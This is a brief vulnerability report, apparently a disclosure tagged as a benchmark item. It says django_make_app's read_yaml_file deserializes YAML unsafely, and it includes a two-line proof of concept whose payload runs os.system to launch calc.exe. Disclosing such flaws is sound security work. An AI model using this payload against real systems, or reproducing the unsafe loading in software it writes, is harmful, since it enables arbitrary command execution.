[Joel-MalwareBenchmark]

from django_make_app.io_utils import read_yaml_file
yaml_raw_data = read_yaml_file('joel.yml')
#'joel.yml'：!!python/object/apply:os.system ["calc.exe"]

Hi, there is a vulnerability in read_yaml_file methods in io_utils.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.
